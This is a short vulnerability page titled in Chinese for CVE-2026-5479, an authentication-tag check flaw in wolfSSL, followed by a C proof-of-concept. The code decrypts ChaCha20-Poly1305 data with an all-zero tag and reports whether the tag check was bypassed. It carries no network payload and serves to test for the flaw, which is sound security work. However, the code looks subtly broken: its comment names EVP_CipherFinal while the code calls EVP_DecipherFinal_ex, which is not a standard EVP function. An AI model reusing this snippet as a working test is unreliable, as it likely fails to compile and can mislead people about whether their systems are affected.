CVE-2026-5479 wolfSSL认证标签缺失漏洞

/* * PoC Concept for CVE-2026-5479 * This code demonstrates the vulnerable API usage pattern. * In the vulnerable version, EVP_CipherFinal returns success * even if the authentication tag is invalid. */ #include <wolfssl/openssl/evp.h> #include <string.h> #include <stdio.h> int main() { EVP_CIPHER_CTX *ctx; int outlen, tmplen; unsigned char key[32] = {0}; // Sample key unsigned char iv[12] = {0}; // ChaCha20-Poly1305 IV unsigned char ciphertext[128] = {0}; // Sample ciphertext unsigned char tag[16] = {0}; // Invalid tag (all zeros) unsigned char plaintext[128]; // Initialize context ctx = EVP_CIPHER_CTX_new(); EVP_DecryptInit_ex(ctx, EVP_chacha20_poly1305(), NULL, NULL, NULL); EVP_DecryptInit_ex(ctx, NULL, NULL, key, iv); // Set expected tag (In vulnerable version, this might be ignored or not checked) EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_AEAD_SET_TAG, 16, tag); // Provide AAD (if any) // EVP_DecryptUpdate(ctx, NULL, &outlen, aad, aad_len); // Decrypt ciphertext EVP_DecryptUpdate(ctx, plaintext, &outlen, ciphertext, 128); // Finalize // VULNERABILITY: In CVE-2026-5479, this may return 1 (success) // even though 'tag' is invalid for the given ciphertext. int ret = EVP_DecipherFinal_ex(ctx, plaintext + outlen, &tmplen); if (ret > 0) { printf("Decryption successful (Tag verification bypassed?)\n"); } else { printf("Decryption failed (Tag verification failed)\n"); } EVP_CIPHER_CTX_free(ctx); return 0; }